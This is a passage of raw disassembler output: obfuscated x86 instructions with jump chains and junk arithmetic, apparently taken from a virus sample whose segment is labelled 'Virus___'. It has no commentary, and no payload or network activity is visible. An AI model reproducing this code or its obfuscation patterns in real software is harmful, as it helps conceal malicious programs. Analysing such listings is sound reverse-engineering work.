sub_545A2B+96C3j push 3A21h jmp loc_5495C9 ; --------------------------------------------------------------------------- loc_54A4C3: ; CODE XREF: sub_545A2B+5920j xor ecx, 51C867F9h push ebx mov ebx, 28015335h shr ebx, 5 add ebx, 4F662972h jmp loc_546606 ; --------------------------------------------------------------------------- loc_54A4DD: ; CODE XREF: sub_545A2B+66CDj mov ebx, esp push edx jmp loc_54965C ; --------------------------------------------------------------------------- pop dword ptr [edi+40h] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54A4ED: ; CODE XREF: sub_545A2B+4917j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54A4F2: ; CODE XREF: sub_545A2B-242j mov ebp, [esp-32h+arg_2E] jmp loc_54B917 ; --------------------------------------------------------------------------- loc_54A4FA: ; CODE XREF: sub_545A2B+6CABj shr ecx, 7 sub ecx, 4BEB71h add esi, ecx pop ecx jmp loc_5468BC ; --------------------------------------------------------------------------- loc_54A50B: ; CODE XREF: sub_545A2B+8435j push 1C8B1BCDh jmp loc_54E6AB ; --------------------------------------------------------------------------- loc_54A515: ; CODE XREF: sub_545A2B+1984j sub edx, 4 xchg edx, [esp-34h+arg_2E+2] pop esp mov [esp-38h+arg_32+2], ecx mov ecx, 334E4085h jmp loc_543FF3 ; --------------------------------------------------------------------------- loc_54A52C: ; CODE XREF: sub_545A2B+2BE0j pop ebx push ecx mov ecx, 1A32577Ah inc ecx sub ecx, 1A325779h add esi, ecx pop ecx xor esi, [esp-1Ah+arg_16] xor [esp-1Ah+arg_16], esi jmp loc_546270 ; --------------------------------------------------------------------------- loc_54A548: ; CODE XREF: sub_545A2B+707Bj add [esp-1Ah+arg_1A], 7486276Eh mov ecx, [esp-1Ah+arg_16] jmp loc_545FCE ; --------------------------------------------------------------------------- loc_54A558: ; CODE XREF: sub_545A2B+5684j xor ebp, [esp-1Ah+arg_16] pop esp jmp loc_54D133 ; --------------------------------------------------------------------------- loc_54A561: ; CODE XREF: sub_545A2B+3C2Cj shr ebx, 7 sub ebx, 15027587h add ecx, ebx jmp loc_5436F3 ; --------------------------------------------------------------------------- loc_54A571: ; CODE XREF: sub_545A2B-D3Bj add esp, 4 jmp loc_5439B4 ; --------------------------------------------------------------------------- loc_54A579: ; CODE XREF: sub_545A2B+3C66j pop edi xor ebp, [esp-26h+arg_22] xor [esp-26h+arg_22], ebp xor ebp, [esp-26h+arg_22] mov esp, [esp-26h+arg_22] push 11EEh mov [esp-22h+arg_1E], ebx sub esp, 4 jmp loc_544B4E ; --------------------------------------------------------------------------- loc_54A596: ; CODE XREF: sub_545A2B+3FBCj push eax mov ah, 34h dec ah sub ah, 4Dh add dl, ah pop eax jmp loc_5439D9 ; --------------------------------------------------------------------------- loc_54A5A6: ; CODE XREF: sub_545A2B+3BE1j xor ebx, 24C57AEh add ebx, 8479B6ABh mov eax, ebx pop ebx add esi, eax push [esp-1Eh+arg_1A] pop eax add esp, 4 push 1A3Ah mov [esp-1Eh+arg_1A], esi push 1C74h mov [esp-1Ah+arg_16], ebx mov ebx, 612E348Bh add ebx, 1B1DD79h xor [esp-1Ah+arg_1A], ebx push [esp-1Ah+arg_16] pop ebx jmp loc_54DC50 ; --------------------------------------------------------------------------- loc_54A5E9: ; CODE XREF: sub_545A2B+5F2Bj pop ebp jmp loc_54B80B ; --------------------------------------------------------------------------- loc_54A5EF: ; CODE XREF: sub_545A2B+97CDj or edi, ebx pop ebx jmp loc_54DBEB ; --------------------------------------------------------------------------- loc_54A5F7: ; CODE XREF: sub_545A2B-E5Dj dec bh jmp loc_54949E ; --------------------------------------------------------------------------- loc_54A5FE: ; CODE XREF: sub_545A2B+8485j xor edi, edx mov edx, [esp-10h+arg_A+2] add esp, 4 jmp loc_54D9C3 ; --------------------------------------------------------------------------- loc_54A60E: ; CODE XREF: sub_545A2B+82DDj pop edx xor ebp, [esp-18h+arg_12+2] xor [esp-18h+arg_12+2], ebp xor ebp, [esp-18h+arg_12+2] mov esp, [esp-18h+arg_12+2] push esi mov esi, esp jmp loc_5443BE ; --------------------------------------------------------------------------- loc_54A623: ; CODE XREF: sub_545A2B+8EF3j add eax, 4 add eax, 4 xchg eax, [esp-14h+arg_E+2] jmp loc_54978B ; --------------------------------------------------------------------------- loc_54A633: ; DATA XREF: Virus___:00542E2Co push dword ptr [edi+1Ch] xor [esp-10h+arg_A+2], 7FF51A1Dh mov eax, [esp-10h+arg_A+2] jmp sub_54D94C ; --------------------------------------------------------------------------- loc_54A645: ; CODE XREF: sub_545A2B+323Aj sub eax, edi add eax, 46E43C4Eh mov edi, eax pop eax not edi add edi, 0D3F58F10h sub esi, edi pop edi sub ebp, esi mov esi, [esp-50h+arg_4C] add esp, 4 xor ebp, [esp-54h+arg_50] xor [esp-54h+arg_50], ebp xor ebp, [esp-54h+arg_50] jmp loc_549CDF ; --------------------------------------------------------------------------- loc_54A673: ; CODE XREF: sub_545A2B+845Cj pop esp add esi, 4 push ecx mov ecx, 2 add esi, ecx pop ecx push esi push [esp-54h+arg_54] mov esi, [esp-50h+arg_4C] jmp loc_54B4B0 ; --------------------------------------------------------------------------- loc_54A690: ; CODE XREF: sub_544B11+Cj add esi, 43D665F9h add esi, 6D73D40Bh add ebp, esi pop esi push ecx mov ecx, 23E0020Bh shl ecx, 1 and ecx, 7E482EC0h xor ecx, 22AF74B8h xor ecx, 10B44C2Ch inc ecx and ecx, 64670BC0h shr ecx, 2 inc ecx jmp loc_54D8A6 ; --------------------------------------------------------------------------- loc_54A6C9: ; CODE XREF: sub_545A2B+1117j pop edi and esi, 67FB7A66h jmp loc_5431AB ; --------------------------------------------------------------------------- loc_54A6D5: ; CODE XREF: sub_545A2B-4BFj add esp, 4 jmp loc_54A444 ; --------------------------------------------------------------------------- loc_54A6E0: ; CODE XREF: sub_545A2B+61F8j add edi, 10746868h shr edi, 3 not edi xor edi, 0FE09FEDAh mov ebx, edi pop edi jmp loc_549095 ; --------------------------------------------------------------------------- loc_54A6F9: ; CODE XREF: sub_545A2B-11BCj push dword ptr [edi+eax*4] push 5201h mov [esp-34h+arg_2E+2], esi jmp sub_54F099 ; --------------------------------------------------------------------------- loc_54A709: ; CODE XREF: sub_545A2B+1375j push 0 jmp loc_547725 ; --------------------------------------------------------------------------- loc_54A713: ; CODE XREF: sub_545A2B+7243j add esp, 4 jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54A71B: ; CODE XREF: sub_545A2B+3CD6j add eax, 4 jmp sub_54317D ; --------------------------------------------------------------------------- loc_54A725: ; CODE XREF: sub_545A2B+6620j xor ebx, 8AD2CB4Dh add esi, ebx mov ebx, [esp-2Eh+arg_2A] add esp, 4 dec esi add esi, 7503CA38h mov eax, esi pop esi and ecx, eax push [esp-36h+arg_32] pop eax push 22Bh jmp loc_5484B1 ; --------------------------------------------------------------------------- loc_54A74D: ; CODE XREF: sub_545A2B+149j pop eax jmp loc_546D46 ; --------------------------------------------------------------------------- loc_54A753: ; CODE XREF: Virus___:005446A1j add esi, ebp pop ebp not esi and esi, 306E7F7Bh inc esi inc esi add esi, 0FFFFFFFFh add esi, 0E86A2F4Fh jmp loc_543F3A ; --------------------------------------------------------------------------- loc_54A771: ; CODE XREF: sub_545A2B+9A73j mov ecx, 7E5752D6h jmp loc_54C029 ; --------------------------------------------------------------------------- loc_54A77B: ; CODE XREF: Virus___:0054F1D7j mov [esp-1Eh+arg_1A], esi push esp pop esi push edi push ecx push 6C80697Ah pop ecx xor ecx, 6C80697Eh mov edi, ecx jmp loc_545B14 ; --------------------------------------------------------------------------- loc_54A795: ; CODE XREF: sub_545A2B+3B62j add ecx, 55DB6603h shr ecx, 5 xor ecx, 4E83A22h add ecx, 2206E5CFh sub edx, ecx jmp loc_546BF1 ; --------------------------------------------------------------------------- loc_54A7B1: ; CODE XREF: sub_545A2B+2C39j pop edx jmp loc_544214 ; --------------------------------------------------------------------------- loc_54A7B7: ; DATA XREF: Virus___:00542CE0o mov edx, [esp-2Ah+arg_26] jmp loc_549D1D ; --------------------------------------------------------------------------- loc_54A7BF: ; CODE XREF: sub_545A2B+559Aj add edi, 4 sub edi, 4 xchg edi, [esp-2Ah+arg_26] jmp loc_54B995 ; --------------------------------------------------------------------------- loc_54A7D0: ; CODE XREF: sub_545A2B+2A81j sub al, 63h sub al, bl jmp loc_54B888 ; --------------------------------------------------------------------------- lodsd sub esi, 7EFA68D1h sub esp, 4 mov [esp+0], ebp mov ebp, 65B512B8h sub esi, 621E6B13h jmp loc_54BB2D ; --------------------------------------------------------------------------- loc_54A7F9: ; CODE XREF: sub_545A2B+872Cj push dword ptr [esp+0] pop ecx jmp sub_544C48 ; --------------------------------------------------------------------------- loc_54A802: ; CODE XREF: sub_545A2B+676Fj push esi push dword ptr [esp+4] jmp loc_544E43 ; --------------------------------------------------------------------------- loc_54A80C: ; CODE XREF: sub_545A2B+9034j push ecx mov ch, dh push ebx mov bl, ch mov al, bl pop ebx pop ecx push ecx mov ch, al jmp loc_549AFB ; --------------------------------------------------------------------------- loc_54A81E: ; CODE XREF: sub_545A2B+8DC7j xor edi, esi mov esi, [esp+24h+var_24] add esp, 4 jmp loc_54B9CA ; --------------------------------------------------------------------------- loc_54A82B: ; CODE XREF: sub_545A2B-1533j mov edx, 4 add ebp, edx pop edx xor ebp, [esp-1Ah+arg_16] xor [esp-1Ah+arg_16], ebp xor ebp, [esp-1Ah+arg_16] mov esp, [esp-1Ah+arg_16] push 10BEh mov [esp-16h+arg_12], edx push 1 mov edx, [esp-12h+arg_E] jmp loc_5473EF ; --------------------------------------------------------------------------- loc_54A854: ; CODE XREF: sub_545A2B-29B8j add [esp+6+var_8+2], 4 jmp loc_543A1D ; --------------------------------------------------------------------------- loc_54A85D: ; CODE XREF: sub_545A2B+85ADj and ecx, 25F18BAh sub ecx, 531F7821h not ecx jmp loc_5463A3 ; --------------------------------------------------------------------------- loc_54A870: ; CODE XREF: sub_545A2B+1DFEj sub ah, 9Eh jmp loc_54A89B ; --------------------------------------------------------------------------- loc_54A878: ; CODE XREF: sub_545A2B+8BABj sub bl, ch push ecx mov ch, 53h add bl, ch jmp loc_54A208 ; --------------------------------------------------------------------------- loc_54A884: ; CODE XREF: sub_545A2B+5FE6j push eax mov eax, 39B93EC4h mov edi, 0EEBDF5AEh jmp loc_54DA26 ; --------------------------------------------------------------------------- loc_54A894: ; CODE XREF: sub_545A2B+7BB3j pop eax push edi jmp loc_54A180 ; --------------------------------------------------------------------------- loc_54A89B: ; CODE XREF: sub_545A2B+4E48j add bh, ah jmp loc_545EC3 ; --------------------------------------------------------------------------- loc_54A8A2: ; CODE XREF: sub_545A2B+7E53j and edx, 13670B47h jmp loc_54B752 ; --------------------------------------------------------------------------- loc_54A8AD: ; DATA XREF: Virus___:00542E68o push [esp-10h+arg_A+2] mov eax, [esp+0] add esp, 4 push ebx push esp pop ebx jmp loc_545540 ; --------------------------------------------------------------------------- loc_54A8C1: ; CODE XREF: sub_545A2B+459Fj push ebx mov bh, 0E8h xor bh, 0BEh shr bh, 4 jmp loc_54D4A2 ; --------------------------------------------------------------------------- loc_54A8CF: ; CODE XREF: sub_545A2B-2796j add edx, 2 xchg edx, [esp-1Eh+arg_1A] mov esp, [esp-1Eh+arg_1A] cmp cx, ax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54A8E1: ; CODE XREF: sub_544E4C+9j push edx push ebx mov bl, al mov dl, bl mov ebx, [esp-12h+arg_E] add esp, 4 push ecx push eax mov al, dl mov ch, al jmp loc_543085 ; --------------------------------------------------------------------------- loc_54A8F8: ; CODE XREF: sub_545A2B+3F45j push eax push 2 push [esp-0Eh+arg_A] pop eax add esp, 4 jmp loc_54CBDE ; --------------------------------------------------------------------------- loc_54A90D: ; CODE XREF: sub_545A2B+2BFBj add esp, 4 add ecx, 25D3463Ah add ecx, eax sub ecx, 25D3463Ah pop eax jmp loc_54C0FD ; --------------------------------------------------------------------------- loc_54A927: ; CODE XREF: sub_545A2B+6D8j push [esp-16h+arg_16] pop edx jmp loc_54C2E1 ; --------------------------------------------------------------------------- loc_54A931: ; CODE XREF: sub_545A2B+3303j mov ch, al jmp loc_54F2C0 ; --------------------------------------------------------------------------- loc_54A938: ; CODE XREF: sub_545A2B-EEBj pop ax push ecx jmp loc_54E153 ; --------------------------------------------------------------------------- loc_54A940: ; CODE XREF: sub_54516C+1Ej push ecx jmp loc_543CAE ; --------------------------------------------------------------------------- loc_54A946: ; CODE XREF: sub_545A2B+8C7Bj mov word ptr [esp-16h+arg_12], cx movzx cx, al jmp loc_54EAAE ; --------------------------------------------------------------------------- loc_54A953: ; CODE XREF: Virus___:0054E1A1j add ebx, 791C19BAh sub ebx, ebp sub ebx, 791C19BAh push [esp-16h+arg_12] jmp loc_54912D ; --------------------------------------------------------------------------- loc_54A969: ; CODE XREF: sub_545A2B+6A95j mov edi, 4F0A18D5h push ebx mov ebx, 0B0F5EF2Bh push ebx xor [esp-0Ah+arg_4+2], 724B27AFh pop ebp xor ebp, 724B27AFh pop ebx add ebp, edi jmp loc_54935B ; --------------------------------------------------------------------------- loc_54A98B: ; CODE XREF: sub_545A2B+B90j push edx push esp push [esp-10h+arg_A+2] pop edx add esp, 4 push 0F01h jmp loc_544C1E ; --------------------------------------------------------------------------- loc_54A99E: ; CODE XREF: sub_545A2B-1BA8j mov al, 97h mov ch, 6 add ch, al pop eax neg ch neg ch push eax mov ah, 0F8h not ah and ah, 0EEh or ah, 0E4h or ah, 5Fh jmp loc_544BAC ; --------------------------------------------------------------------------- loc_54A9BC: ; CODE XREF: sub_545A2B+7CF5j xchg ebx, [esp-52h+arg_4C+2] pop esp sub word ptr [esp-56h+arg_50+2], ax pushf jmp loc_548D28 ; --------------------------------------------------------------------------- loc_54A9CA: ; CODE XREF: sub_545A2B-14B1j mov edi, [esp-2Ah+arg_26] add esp, 4 add edi, 4 jmp loc_547BCF ; --------------------------------------------------------------------------- loc_54A9DE: ; CODE XREF: sub_545A2B+92B9j neg ebx shr ebx, 4 sub ebx, 0D858DAC0h add ebp, ebx pop ebx add ebp, 0DA702F16h push ebp mov ecx, [esp-2Eh+arg_2A] add esp, 4 mov ebp, [esp-32h+arg_2E] add esp, 4 shr ecx, 6 neg ecx not ecx add ecx, 0FFC8E64Ch jmp loc_54E271 ; --------------------------------------------------------------------------- loc_54AA17: ; CODE XREF: sub_545A2B-D43j mov [esp-18h+arg_12+2], edi push 5EBF5BA9h mov edi, [esp-14h+arg_E+2] push ebx jmp loc_543520 ; --------------------------------------------------------------------------- loc_54AA28: ; CODE XREF: sub_545A2B+93D2j sub edi, 15AE4CC2h jmp loc_546B40 ; --------------------------------------------------------------------------- loc_54AA33: ; CODE XREF: sub_545A2B+368Cj push 211Dh mov [esp-2Ah+arg_26], edi mov edi, 4 add ecx, 22EE72D9h add ecx, 6655210Ah add ecx, edi sub ecx, 6655210Ah sub ecx, 22EE72D9h pop edi jmp loc_54F139 ; --------------------------------------------------------------------------- loc_54AA60: ; CODE XREF: sub_545A2B+D1Ej and esi, 5ED5748Bh sub esp, 4 mov [esp-0Ah+arg_4+2], ebp mov ebp, 11CC1413h sub ebp, 0FB9C0F01h jmp loc_54747F ; --------------------------------------------------------------------------- loc_54AA7F: ; CODE XREF: sub_545A2B-A83j pop ebx pop eax neg cl jmp loc_544F0E ; --------------------------------------------------------------------------- loc_54AA88: ; CODE XREF: sub_545A2B+CCEj pop edi xor esi, ecx pop ecx shr esi, 8 xchg ebp, esi not ebp xchg ebp, esi sub esi, 8E4D43CDh mov ebp, esi jmp loc_5437D4 ; --------------------------------------------------------------------------- loc_54AAA2: ; CODE XREF: sub_545A2B+7A8j pop edx xchg ebp, [esp-2Ch+arg_26+2] jmp loc_543301 ; --------------------------------------------------------------------------- loc_54AAAB: ; CODE XREF: sub_545A2B-C81j sub al, bh jmp loc_5484DD ; --------------------------------------------------------------------------- loc_54AAB2: ; CODE XREF: sub_545A2B+3C5Fj add edi, 4 xchg edi, [esp-22h+arg_1E] jmp loc_54C675 ; --------------------------------------------------------------------------- loc_54AAC0: ; CODE XREF: sub_545A2B+5CB1j push edi jmp loc_54C0D6 ; --------------------------------------------------------------------------- loc_54AAC6: ; CODE XREF: sub_545A2B+45ACj mov eax, [esp-24h+arg_1E+2] sub esp, 4 mov [esp-20h+arg_1A+2], ebx mov ebx, esp jmp sub_54D92A ; --------------------------------------------------------------------------- loc_54AAD9: ; CODE XREF: sub_545A2B+9604j pop ebp push dword ptr [edx] pop ecx push [esp-24h+arg_1E+2] pop edx push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_54B4FF ; --------------------------------------------------------------------------- loc_54AAF5: ; CODE XREF: sub_545A2B-2369j add ecx, 2D222248h and ecx, 28D30154h or ecx, 5EFB6C1Eh not ecx xor ecx, 0A8B0C1DDh xor edi, ecx pop ecx jmp loc_543FF9 ; --------------------------------------------------------------------------- loc_54AB17: ; CODE XREF: sub_545A2B+9D9j add edi, 0F61644Bh add edi, 1CDB3A37h add edi, eax sub edi, 1CDB3A37h sub edi, 0F61644Bh mov eax, [esp-40h+arg_3A+2] add esp, 4 jmp loc_544E8B ; --------------------------------------------------------------------------- loc_54AB3C: ; CODE XREF: sub_545A2B+903Bj add al, bh jmp loc_5492C8 ; --------------------------------------------------------------------------- loc_54AB43: ; DATA XREF: Virus___:00542F00o push [esp-44h+arg_3E+2] pop eax push esi push esp mov esi, [esp-3Ch+arg_36+2] jmp loc_543439 ; --------------------------------------------------------------------------- loc_54AB51: ; CODE XREF: sub_545A2B+9917j pop edi push ecx push ebp mov ebp, 62B81C82h shr ebp, 6 jmp loc_54DD8E ; --------------------------------------------------------------------------- loc_54AB61: ; CODE XREF: sub_545A2B+8E7Dj add esp, 4 jmp loc_547ADD ; --------------------------------------------------------------------------- loc_54AB6C: ; CODE XREF: sub_545A2B+3007j sub ebx, ecx pop ecx neg ebx neg ebx shl ebx, 1 jmp loc_54F49D ; --------------------------------------------------------------------------- loc_54AB7A: ; CODE XREF: sub_545A2B+6FF4j mov si, 0FFFFh jmp loc_547342 ; --------------------------------------------------------------------------- loc_54AB83: ; CODE XREF: sub_545A2B+4405j push [esp-36h+arg_32] jmp loc_54D66C ; --------------------------------------------------------------------------- loc_54AB8B: ; CODE XREF: sub_545A2B+5695j add cl, 80h jmp loc_5487C3 ; --------------------------------------------------------------------------- loc_54AB93: ; CODE XREF: sub_545A2B-19B0j sub ecx, 3C10D4Fh add esi, ecx mov ecx, [esp-26h+arg_22] push esi jmp loc_549B62 ; --------------------------------------------------------------------------- loc_54ABA4: ; CODE XREF: sub_545A2B+650Cj mov ecx, 4 sub edi, 70DF5282h jmp loc_54A0D1 ; --------------------------------------------------------------------------- loc_54ABB4: ; CODE XREF: Virus___:00544952j or edx, 606F3893h jmp loc_549AA0 ; --------------------------------------------------------------------------- loc_54ABBF: ; CODE XREF: sub_545A2B+6550j pop esi push edi mov edi, 47F5296Bh or edi, 3B5B1067h jmp loc_54AD04 ; --------------------------------------------------------------------------- loc_54ABD1: ; CODE XREF: sub_545A2B+629Dj pop ebx add edx, eax mov eax, [esp-26h+arg_22] add esp, 4 jmp loc_5465AD ; --------------------------------------------------------------------------- loc_54ABDF: ; CODE XREF: sub_545A2B+537Fj not edx xchg eax, edx neg eax xchg eax, edx xor edx, 0DFFFFFC5h add ebx, edx mov edx, [esp-2Ah+arg_26] add esp, 4 add ebx, 4 xchg ebx, [esp-2Eh+arg_2A] pop esp or eax, eax jnz loc_5451AF push 1 mov edx, [esp-2Eh+arg_2A] push 1F88h jmp loc_5436C7 ; --------------------------------------------------------------------------- loc_54AC17: ; CODE XREF: sub_545A2B+29E4j push ebp mov ebp, 4 jmp loc_54A3C5 ; --------------------------------------------------------------------------- loc_54AC22: ; CODE XREF: sub_54D666+1j push 11B3h mov [esp-8+arg_4], edx push ebx mov bh, 66h push ecx mov cl, 82h neg cl shr cl, 1 or cl, 5Ch neg cl jmp loc_54E1D5 ; --------------------------------------------------------------------------- loc_54AC3E: ; CODE XREF: sub_54CEC0+24AAj or ebp, 120A3F6Ah xor ebp, 92ED75DDh jmp loc_54657D ; --------------------------------------------------------------------------- mov ax, [esp+0] push edi jmp loc_54DFDD ; --------------------------------------------------------------------------- loc_54AC59: ; CODE XREF: sub_545A2B+26ACj sub esp, 4 mov [esp-30h+arg_2A+2], esi mov esi, 4 jmp loc_54C687 ; --------------------------------------------------------------------------- loc_54AC69: ; CODE XREF: sub_545A2B+411j dec esi shl esi, 5 sub esi, 9D0E3A5Ch add edi, esi mov esi, [esp-12h+arg_E] push ebx push esp pop ebx push eax mov eax, 10910EA2h sub eax, 5907315Bh sub eax, 0B789DD43h add ebx, eax pop eax add ebx, 4 xchg ebx, [esp-0Eh+arg_A] pop esp add edi, 2 push edi push [esp-0Eh+arg_E] jmp loc_545AF2 ; --------------------------------------------------------------------------- loc_54ACA5: ; CODE XREF: sub_545A2B+3359j shl edx, 8 sub edx, 0C34495BEh add ebp, edx jmp loc_54DAE9 ; --------------------------------------------------------------------------- loc_54ACB5: ; CODE XREF: sub_545A2B+6C35j add ebp, edx pop edx xor ebp, [esp+0] jmp loc_54B0AC ; --------------------------------------------------------------------------- loc_54ACC0: ; CODE XREF: sub_545A2B+76B0j mov eax, esp jmp loc_54874A ; --------------------------------------------------------------------------- loc_54ACC7: ; CODE XREF: sub_545A2B-2292j pop edx dec ebp sub ebp, 1 sub ebp, 1B2A6Dh mov edi, ebp pop ebp sub ebx, 7974204Bh jmp loc_54E693 ; --------------------------------------------------------------------------- loc_54ACE0: ; CODE XREF: sub_545A2B+355Bj push [esp-5Ch+arg_58] pop eax add esp, 4 xor eax, 100B238Bh mov esi, [esp-60h+arg_5C] push eax mov eax, esp add eax, 4 jmp loc_54D249 ; --------------------------------------------------------------------------- loc_54ACFC: ; CODE XREF: sub_545A2B+6ED1j pop esi mov edi, eax jmp loc_5446F9 ; --------------------------------------------------------------------------- loc_54AD04: ; CODE XREF: sub_545A2B+51A1j sub edi, 4FC1339h add edi, 5634100Ah push eax mov eax, 2DF90833h sub edi, eax pop eax xor edi, 0A33E2E09h jmp loc_547EA7 ; --------------------------------------------------------------------------- loc_54AD24: ; CODE XREF: sub_545A2B-2874j push edx mov edx, 4C94736Bh and edx, 6BA6010Fh inc edx jmp loc_54F28A ; --------------------------------------------------------------------------- loc_54AD36: ; CODE XREF: sub_545A2B-282j sub al, bl sub al, 0C4h push edx jmp loc_549AE7 ; --------------------------------------------------------------------------- loc_54AD40: ; CODE XREF: sub_545A2B+28EAj push edx mov edx, 4 jmp loc_54B023 ; --------------------------------------------------------------------------- loc_54AD4B: ; CODE XREF: sub_543680+A4F8j xchg edx, [esp-3Ah+arg_36] jmp loc_54F43B ; --------------------------------------------------------------------------- loc_54AD53: ; CODE XREF: sub_545A2B+8A8Cj sub edx, 755E266Fh sub edx, esi add edx, 755E266Fh jmp loc_54E200 ; --------------------------------------------------------------------------- loc_54AD66: ; CODE XREF: sub_545A2B+ED1j push ebp mov ebp, 4 sub esi, ebp jmp loc_54AFCA ; --------------------------------------------------------------------------- loc_54AD73: ; CODE XREF: sub_545A2B+46A1j pop eax sub esp, 4 mov [esp+0], edx mov edx, 4 add eax, edx pop edx add eax, 4 xchg eax, [esp-10h+arg_A+2] jmp loc_54EBE9 ; --------------------------------------------------------------------------- loc_54AD8D: ; CODE XREF: sub_545A2B+6E21j mov esp, [esp-10h+arg_A+2] mov word ptr [esp-10h+arg_A+2], dx push ax pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54AD9C: ; CODE XREF: sub_545A2B-24CAj mov esp, [esp-22h+arg_1E] sar byte ptr [esp-22h+arg_1E], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_54ADA8: ; CODE XREF: sub_545A2B-28DEj neg edx jmp loc_54ABDF ; --------------------------------------------------------------------------- loc_54ADAF: ; CODE XREF: sub_545A2B-1E98j not ch shr ch, 3 sub ch, 0C4h add ch, 0FFh sub bh, ch jmp loc_544DA9 ; --------------------------------------------------------------------------- loc_54ADC1: ; CODE XREF: sub_545A2B+6D07j pop esp mov [esp-32h+arg_2E], ebp mov ebp, 4E9E123Eh inc ebp shr ebp, 1 jmp loc_54C34C ; --------------------------------------------------------------------------- loc_54ADD2: ; CODE XREF: sub_545A2B+778Dj xor edx, 22EF1784h push ecx jmp loc_543B98 ; --------------------------------------------------------------------------- loc_54ADDE: ; CODE XREF: sub_545A2B-F1Fj pop ebx jmp loc_547BBA ; --------------------------------------------------------------------------- loc_54ADE4: ; CODE XREF: sub_545A2B+8611j add esp, 4 push 12AFh jmp loc_54B393 ; --------------------------------------------------------------------------- loc_54ADF4: ; CODE XREF: sub_545A2B+3739j add eax, edi pop edi sub eax, 6EEA1282h sub eax, edx add eax, 6EEA1282h sub eax, 66921D1Ch pop edx xchg eax, [esp-4Ch+arg_46+2] mov esp, [esp-4Ch+arg_46+2] mov [esp-4Ch+arg_46+2], ebx push [esp-4Ch+arg_46+2] jmp loc_547BFB ; --------------------------------------------------------------------------- loc_54AE1A: ; CODE XREF: sub_545A2B+1A57j add esi, 69B79EA1h add ebx, esi pop esi jmp loc_5477D8 ; --------------------------------------------------------------------------- loc_54AE28: ; CODE XREF: sub_545A2B-19Bj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-22h+arg_1E] pop esp jmp loc_544EE7 ; --------------------------------------------------------------------------- loc_54AE3C: ; CODE XREF: sub_545A2B+7C5Fj push ebp mov ebp, 1C5F3895h sub edi, ebp mov ebp, [esp-22h+arg_1E] add esp, 4 jmp loc_54D5AC ; --------------------------------------------------------------------------- loc_54AE52: ; CODE XREF: sub_545A2B+7B71j neg ebp and ebp, 199A1DF0h add ebp, 0F6676BADh add ebx, ebp pop ebp jmp loc_54E3E8 ; --------------------------------------------------------------------------- loc_54AE68: ; CODE XREF: sub_545A2B-1067j sub esi, ebx pop ebx jmp loc_545BA1 ; --------------------------------------------------------------------------- loc_54AE70: ; CODE XREF: sub_545A2B+4493j xchg esi, [esp-34h+arg_2E+2] jmp loc_54BCE4 ; --------------------------------------------------------------------------- loc_54AE78: ; CODE XREF: sub_545A2B-24EBj push esi mov esi, 48CE6E2Fh shr esi, 4 dec esi jmp loc_5430EB ; --------------------------------------------------------------------------- loc_54AE87: ; CODE XREF: sub_545A2B+906Aj mov ebp, 70AF157Ah add edx, ebp jmp loc_54E7A8 ; --------------------------------------------------------------------------- loc_54AE93: ; CODE XREF: sub_545A2B-1A22j push eax jmp loc_549592 ; --------------------------------------------------------------------------- lodsb xor al, bl push ecx mov ch, 0CEh add ch, 0F4h push cx xchg dh, byte ptr [esp-36h+arg_32+1] not dh xchg dh, byte ptr [esp-36h+arg_32+1] mov cx, word ptr [esp-36h+arg_32] add esp, 2 push ebx push eax mov ah, 0F7h mov bl, ah pop eax push edx mov dh, 32h push ecx mov cl, 0F5h add dh, 2 sub dh, cl sub dh, 2 pop ecx jmp loc_54B8C7 ; --------------------------------------------------------------------------- loc_54AED0: ; CODE XREF: sub_545A2B+78A8j sub ebx, 3257346Fh jmp $+5 add ebx, ecx jmp loc_544AFC ; --------------------------------------------------------------------------- mov eax, [esp-32h+arg_2E] push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-2Eh+arg_2A] pop esp jmp loc_54C624 ; --------------------------------------------------------------------------- loc_54AEFD: ; CODE XREF: sub_545A2B+673j mov ecx, 4C6C3AC7h or ecx, 125A1947h shr ecx, 4 xor ecx, 19AE21F5h add ecx, 43A62726h jmp loc_54A49D ; --------------------------------------------------------------------------- loc_54AF1C: ; CODE XREF: Virus___:0054CD24j sub al, 3 pop ecx jmp loc_54847B ; --------------------------------------------------------------------------- loc_54AF24: ; CODE XREF: sub_545A2B+FB8j xor bl, 0CFh or bl, 39h jmp loc_548DE7 ; --------------------------------------------------------------------------- loc_54AF2F: ; CODE XREF: sub_543444+9j push edx mov edx, 4 add ebp, 2CD9788Fh add ebp, 1196397Ah sub ebp, edx sub ebp, 1196397Ah push ebx mov ebx, 2CD9788Fh sub ebp, ebx pop ebx pop edx xchg ebp, [esp-20h+arg_1A+2] pop esp mov [esp-24h+arg_1E+2], ebx mov ebx, 22B660A4h jmp loc_54969C ; --------------------------------------------------------------------------- loc_54AF64: ; CODE XREF: sub_545A2B-A7j sub bl, 65h push [esp-10h+arg_A+2] pop ecx add esp, 4 sub al, 15h sub al, bl add al, 15h mov ebx, [esp-14h+arg_E+2] push ecx jmp loc_5430AC ; --------------------------------------------------------------------------- loc_54AF7D: ; DATA XREF: Virus___:00542ED0o neg byte ptr [esp-10h+arg_A+2] pushf jmp loc_54D8BC ; --------------------------------------------------------------------------- loc_54AF86: ; CODE XREF: sub_545A2B+46DAj push edx jmp loc_54ED74 ; --------------------------------------------------------------------------- loc_54AF8C: ; CODE XREF: sub_545A2B+18B2j mov dl, 7Fh and al, dl jmp loc_543D90 ; --------------------------------------------------------------------------- loc_54AF95: ; CODE XREF: sub_545A2B-Dj push edx jmp loc_54F420 ; --------------------------------------------------------------------------- loc_54AF9B: ; CODE XREF: sub_545A2B+A53j pop esp mov [esp-48h+arg_42+2], ebx mov bh, 8Bh shr bh, 8 jmp loc_54E38C ; --------------------------------------------------------------------------- loc_54AFA9: ; DATA XREF: Virus___:00542E10o mov cx, word ptr [esp-48h+arg_42+2] push edi mov edi, esp push ebp push ecx mov ecx, 33D96042h mov ebp, 33D96046h sub ebp, ecx pop ecx add edi, ebp pop ebp push edi mov edi, esp jmp loc_54A7BF ; --------------------------------------------------------------------------- loc_54AFCA: ; CODE XREF: sub_545A2B+5343j pop ebp xchg esi, [esp-56h+arg_50+2] pop esp mov [esp-5Ah+arg_54+2], eax push esp pop eax jmp loc_54DF2E ; --------------------------------------------------------------------------- 